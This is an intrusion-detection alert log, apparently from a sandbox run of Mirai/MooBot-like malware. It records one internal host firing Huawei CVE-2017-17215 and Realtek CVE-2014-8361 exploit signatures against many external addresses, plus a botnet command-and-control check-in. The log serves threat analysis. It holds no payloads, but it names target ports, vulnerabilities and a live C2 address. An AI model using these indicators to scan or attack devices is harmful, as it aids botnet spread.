07/20/24-23:01:02.410155	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39320	37215	192.168.2.14	4.79.178.142
07/20/24-23:01:19.222257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41558	37215	192.168.2.14	197.117.19.131
07/20/24-23:01:22.801376	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44718	37215	192.168.2.14	220.122.25.2
07/20/24-23:01:13.331144	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51914	52869	192.168.2.14	206.233.127.191
07/20/24-23:01:13.336391	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43744	52869	192.168.2.14	130.190.186.142
07/20/24-23:01:11.460861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60574	37215	192.168.2.14	68.79.78.213
07/20/24-23:01:05.895933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51850	37215	192.168.2.14	65.171.178.93
07/20/24-23:01:05.904128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60486	37215	192.168.2.14	197.186.136.100
07/20/24-23:01:11.467529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43220	37215	192.168.2.14	41.179.24.29
07/20/24-23:01:22.786757	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52560	37215	192.168.2.14	41.94.199.1
07/20/24-23:01:25.281101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45606	37215	192.168.2.14	157.231.193.50
07/20/24-23:01:25.287093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44472	37215	192.168.2.14	149.100.184.249
07/20/24-23:01:28.170987	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59080	37215	192.168.2.14	156.150.14.115
07/20/24-23:01:07.668267	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44592	37215	192.168.2.14	77.65.52.12
07/20/24-23:01:37.164417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50662	37215	192.168.2.14	157.130.160.243
07/20/24-23:01:14.406708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41270	37215	192.168.2.14	41.67.38.205
07/20/24-23:01:19.235468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35708	37215	192.168.2.14	197.133.74.148
07/20/24-23:01:25.230451	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44858	37215	192.168.2.14	41.216.142.146
07/20/24-23:01:29.684573	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38526	52869	192.168.2.14	74.157.77.170
07/20/24-23:01:11.477131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32974	37215	192.168.2.14	157.200.88.89
07/20/24-23:01:14.398477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51054	37215	192.168.2.14	157.160.7.24
07/20/24-23:01:24.479575	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35758	52869	192.168.2.14	71.165.43.178
07/20/24-23:01:05.900314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41900	37215	192.168.2.14	157.89.201.91
07/20/24-23:01:05.528906	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44008	52869	192.168.2.14	191.124.131.163
07/20/24-23:01:05.896134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54762	37215	192.168.2.14	41.135.123.11
07/20/24-23:01:32.981292	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53862	52869	192.168.2.14	168.49.16.106
07/20/24-23:01:33.896440	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40096	52869	192.168.2.14	105.235.42.192
07/20/24-23:01:06.249116	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48580	52869	192.168.2.14	167.60.40.217
07/20/24-23:01:07.680463	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34978	37215	192.168.2.14	157.233.145.134
07/20/24-23:01:33.068258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48806	37215	192.168.2.14	35.20.186.175
07/20/24-23:01:25.383199	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37740	52869	192.168.2.14	118.150.115.134
07/20/24-23:01:33.047902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57374	37215	192.168.2.14	5.183.215.180
07/20/24-23:01:11.454990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39360	37215	192.168.2.14	197.110.14.102
07/20/24-23:01:33.277218	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46748	52869	192.168.2.14	114.78.57.39
07/20/24-23:01:13.332260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44518	52869	192.168.2.14	188.64.202.52
07/20/24-23:01:14.397956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55982	37215	192.168.2.14	203.216.60.68
07/20/24-23:01:25.294369	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33690	37215	192.168.2.14	197.14.68.46
07/20/24-23:01:28.175716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55974	37215	192.168.2.14	41.6.120.115
07/20/24-23:01:14.416273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42998	37215	192.168.2.14	157.243.15.26
07/20/24-23:01:13.332596	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59264	52869	192.168.2.14	174.117.157.2
07/20/24-23:01:07.664911	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45202	37215	192.168.2.14	18.203.170.108
07/20/24-23:01:22.801376	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54264	37215	192.168.2.14	41.206.191.212
07/20/24-23:01:30.624414	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33018	52869	192.168.2.14	165.24.106.58
07/20/24-23:01:24.078416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49964	52869	192.168.2.14	174.113.101.241
07/20/24-23:01:02.412965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57418	37215	192.168.2.14	41.212.179.177
07/20/24-23:01:34.918353	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58686	52869	192.168.2.14	157.6.186.252
07/20/24-23:01:19.227177	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43642	37215	192.168.2.14	41.207.38.72
07/20/24-23:01:25.295702	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50546	37215	192.168.2.14	157.67.110.142
07/20/24-23:01:13.331934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51736	52869	192.168.2.14	213.207.143.98
07/20/24-23:01:13.332449	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52752	52869	192.168.2.14	65.29.160.70
07/20/24-23:01:05.900314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47644	37215	192.168.2.14	157.239.188.37
07/20/24-23:01:33.499276	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59312	52869	192.168.2.14	218.196.239.193
07/20/24-23:01:13.330072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34906	52869	192.168.2.14	130.69.123.40
07/20/24-23:01:24.075554	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48776	52869	192.168.2.14	125.202.144.54
07/20/24-23:01:22.769326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59556	37215	192.168.2.14	137.177.10.208
07/20/24-23:01:33.390286	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49362	52869	192.168.2.14	162.145.238.215
07/20/24-23:01:32.960530	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50292	52869	192.168.2.14	210.67.14.178
07/20/24-23:01:11.459583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57296	37215	192.168.2.14	41.92.68.76
07/20/24-23:01:22.784106	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58784	37215	192.168.2.14	157.214.11.181
07/20/24-23:01:37.160288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42508	37215	192.168.2.14	1.93.126.106
07/20/24-23:01:02.412965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58610	37215	192.168.2.14	197.8.234.46
07/20/24-23:01:19.231228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49392	37215	192.168.2.14	41.94.156.130
07/20/24-23:01:34.899868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56584	52869	192.168.2.14	81.96.77.48
07/20/24-23:01:19.334799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57120	37215	192.168.2.14	53.120.126.237
07/20/24-23:01:02.410155	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38906	37215	192.168.2.14	60.250.175.203
07/20/24-23:01:06.262239	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51512	52869	192.168.2.14	65.29.160.70
07/20/24-23:01:14.396954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54350	37215	192.168.2.14	197.137.138.229
07/20/24-23:01:25.196788	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39890	52869	192.168.2.14	111.237.207.198
07/20/24-23:01:19.221490	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48112	37215	192.168.2.14	157.42.133.249
07/20/24-23:01:11.454417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51980	37215	192.168.2.14	50.38.227.2
07/20/24-23:01:25.281101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47196	37215	192.168.2.14	197.113.123.115
07/20/24-23:01:14.397565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52432	37215	192.168.2.14	157.74.157.126
07/20/24-23:01:24.710414	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45116	2466	192.168.2.14	15.235.203.214
07/20/24-23:01:29.577331	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47006	52869	192.168.2.14	100.167.118.103
07/20/24-23:01:33.081951	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42928	37215	192.168.2.14	41.128.242.91
07/20/24-23:01:34.915141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39404	52869	192.168.2.14	53.62.238.12
07/20/24-23:01:13.332260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59932	52869	192.168.2.14	41.70.70.158
07/20/24-23:01:25.290247	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51950	37215	192.168.2.14	41.27.76.211
07/20/24-23:01:05.906603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35758	37215	192.168.2.14	41.42.5.74
07/20/24-23:01:29.172557	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46648	52869	192.168.2.14	172.198.125.221
07/20/24-23:01:02.410541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33888	37215	192.168.2.14	41.171.70.30
07/20/24-23:01:14.406708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32880	37215	192.168.2.14	41.44.7.216
07/20/24-23:01:24.830631	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50650	52869	192.168.2.14	196.128.196.44
07/20/24-23:01:25.283565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42826	37215	192.168.2.14	197.190.16.151
07/20/24-23:01:32.461273	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44016	52869	192.168.2.14	143.76.5.38
07/20/24-23:01:02.411662	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59918	37215	192.168.2.14	145.169.160.7
07/20/24-23:01:34.929652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48706	52869	192.168.2.14	13.226.216.53
07/20/24-23:01:05.446481	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38530	52869	192.168.2.14	101.71.112.133
07/20/24-23:01:05.895886	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37374	37215	192.168.2.14	197.57.156.185
07/20/24-23:01:37.214680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58334	37215	192.168.2.14	41.151.150.203
07/20/24-23:01:05.892501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56030	37215	192.168.2.14	212.61.76.50
07/20/24-23:01:19.220464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38182	37215	192.168.2.14	183.53.169.200
07/20/24-23:01:19.220762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53518	37215	192.168.2.14	41.16.136.252
07/20/24-23:01:17.542102	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	42936	2466	192.168.2.14	15.235.203.214
07/20/24-23:01:19.221490	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56596	37215	192.168.2.14	197.233.57.38
07/20/24-23:01:07.664911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58758	37215	192.168.2.14	197.226.130.147
07/20/24-23:01:11.460861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47768	37215	192.168.2.14	157.214.243.25
07/20/24-23:01:37.222600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43372	37215	192.168.2.14	157.127.82.180
07/20/24-23:01:07.676921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60620	37215	192.168.2.14	157.7.129.75
07/20/24-23:01:14.396888	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50932	37215	192.168.2.14	207.38.237.179
07/20/24-23:01:14.396852	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52058	37215	192.168.2.14	213.65.233.115
07/20/24-23:01:05.901568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52910	37215	192.168.2.14	157.200.153.251
07/20/24-23:01:11.481655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54620	37215	192.168.2.14	157.206.61.138
07/20/24-23:01:34.920870	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45056	52869	192.168.2.14	181.57.234.228
07/20/24-23:01:11.461509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34260	37215	192.168.2.14	158.171.242.198
07/20/24-23:01:14.400300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47980	37215	192.168.2.14	197.83.41.154
07/20/24-23:01:28.180178	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35960	37215	192.168.2.14	112.133.158.101
07/20/24-23:01:05.895886	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51024	37215	192.168.2.14	197.198.171.240
07/20/24-23:01:19.221962	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60376	37215	192.168.2.14	157.149.237.12
07/20/24-23:01:02.409131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37444	37215	192.168.2.14	197.108.206.182
07/20/24-23:01:13.329789	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49504	52869	192.168.2.14	5.217.173.216
07/20/24-23:01:33.901971	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56512	52869	192.168.2.14	35.151.246.95
07/20/24-23:01:37.231056	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36618	37215	192.168.2.14	197.59.41.138
07/20/24-23:01:02.412791	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58652	37215	192.168.2.14	197.70.43.24
07/20/24-23:01:06.557950	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38224	52869	192.168.2.14	171.144.139.139
07/20/24-23:01:25.230811	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54042	37215	192.168.2.14	41.113.14.57
07/20/24-23:01:05.904128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47138	37215	192.168.2.14	197.37.56.19
07/20/24-23:01:25.280228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60350	37215	192.168.2.14	157.175.38.165
07/20/24-23:01:28.142762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54050	37215	192.168.2.14	157.166.20.130
07/20/24-23:01:32.773577	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43880	52869	192.168.2.14	91.137.254.120
07/20/24-23:01:33.046879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34250	37215	192.168.2.14	197.113.77.27
07/20/24-23:01:05.906603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40154	37215	192.168.2.14	157.46.64.49
07/20/24-23:01:22.788405	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58540	37215	192.168.2.14	113.64.11.191
07/20/24-23:01:05.897173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49432	37215	192.168.2.14	157.97.83.71
07/20/24-23:01:24.078416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42766	52869	192.168.2.14	125.128.116.127
07/20/24-23:01:05.487437	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54828	52869	192.168.2.14	40.122.199.14
07/20/24-23:01:28.182157	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57826	37215	192.168.2.14	197.5.244.222
07/20/24-23:01:13.330793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44640	52869	192.168.2.14	99.58.61.9
07/20/24-23:01:25.021604	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52968	52869	192.168.2.14	108.190.226.99
07/20/24-23:01:05.523574	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42798	52869	192.168.2.14	68.93.103.227
07/20/24-23:01:02.411166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35110	37215	192.168.2.14	197.255.176.169
07/20/24-23:01:06.170284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50516	52869	192.168.2.14	213.207.143.98
07/20/24-23:01:02.408596	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48950	37215	192.168.2.14	197.136.233.151
07/20/24-23:01:05.920528	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40966	37215	192.168.2.14	98.20.71.159
07/20/24-23:01:33.306736	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53798	52869	192.168.2.14	160.160.84.223
07/20/24-23:01:22.782671	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60196	37215	192.168.2.14	41.207.13.93
07/20/24-23:01:25.234700	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38212	37215	192.168.2.14	157.191.232.175
07/20/24-23:01:37.166003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43180	37215	192.168.2.14	197.158.191.66
07/20/24-23:01:37.214680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43478	37215	192.168.2.14	157.112.178.52
07/20/24-23:01:33.283267	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50014	52869	192.168.2.14	197.75.140.61
07/20/24-23:01:13.332051	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52922	52869	192.168.2.14	154.234.222.130
07/20/24-23:01:29.172029	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59840	52869	192.168.2.14	176.163.228.117
07/20/24-23:01:14.397956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42496	37215	192.168.2.14	157.143.78.242
07/20/24-23:01:13.329426	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47872	52869	192.168.2.14	20.43.107.217
07/20/24-23:01:33.100578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34396	37215	192.168.2.14	201.35.76.112
07/20/24-23:01:24.749806	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38970	52869	192.168.2.14	88.250.101.128
07/20/24-23:01:37.160288	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52374	37215	192.168.2.14	174.254.226.195
07/20/24-23:01:07.664911	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34432	37215	192.168.2.14	41.159.245.252
07/20/24-23:01:05.920528	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43838	37215	192.168.2.14	157.98.176.2
07/20/24-23:01:29.179619	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39558	52869	192.168.2.14	88.250.101.128
07/20/24-23:01:24.432437	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51304	52869	192.168.2.14	14.9.177.37
07/20/24-23:01:05.895754	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49922	37215	192.168.2.14	197.216.107.62
07/20/24-23:01:14.401421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46810	37215	192.168.2.14	184.212.2.51
07/20/24-23:01:07.680629	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33962	37215	192.168.2.14	197.172.21.48
07/20/24-23:01:34.927371	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42824	52869	192.168.2.14	66.46.157.85
07/20/24-23:01:22.788405	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44122	37215	192.168.2.14	197.204.163.81
07/20/24-23:01:34.923716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58860	52869	192.168.2.14	76.61.195.47
07/20/24-23:01:19.231228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35594	37215	192.168.2.14	41.79.163.126
07/20/24-23:01:32.779683	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38948	52869	192.168.2.14	115.207.235.241
07/20/24-23:01:07.679354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40060	37215	192.168.2.14	157.173.59.248
07/20/24-23:01:34.958933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57636	52869	192.168.2.14	222.32.122.10
07/20/24-23:01:13.329544	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44450	52869	192.168.2.14	200.181.183.183
07/20/24-23:01:11.448569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40356	37215	192.168.2.14	41.90.192.107
07/20/24-23:01:25.234700	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40030	37215	192.168.2.14	111.101.129.102
07/20/24-23:01:06.208261	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47808	52869	192.168.2.14	152.149.61.199
07/20/24-23:01:13.334387	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48608	52869	192.168.2.14	64.61.21.55
07/20/24-23:01:24.075564	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56036	52869	192.168.2.14	84.167.36.221
07/20/24-23:01:05.897173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50408	37215	192.168.2.14	197.248.165.153
07/20/24-23:01:05.902118	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54668	37215	192.168.2.14	157.70.127.19
07/20/24-23:01:23.184455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60162	37215	192.168.2.14	197.228.92.249
07/20/24-23:01:06.535488	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58016	52869	192.168.2.14	174.117.157.2
07/20/24-23:01:11.461274	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49370	37215	192.168.2.14	157.188.132.33
07/20/24-23:01:37.122448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58556	37215	192.168.2.14	197.232.171.237
07/20/24-23:01:37.166003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34842	37215	192.168.2.14	41.90.51.53
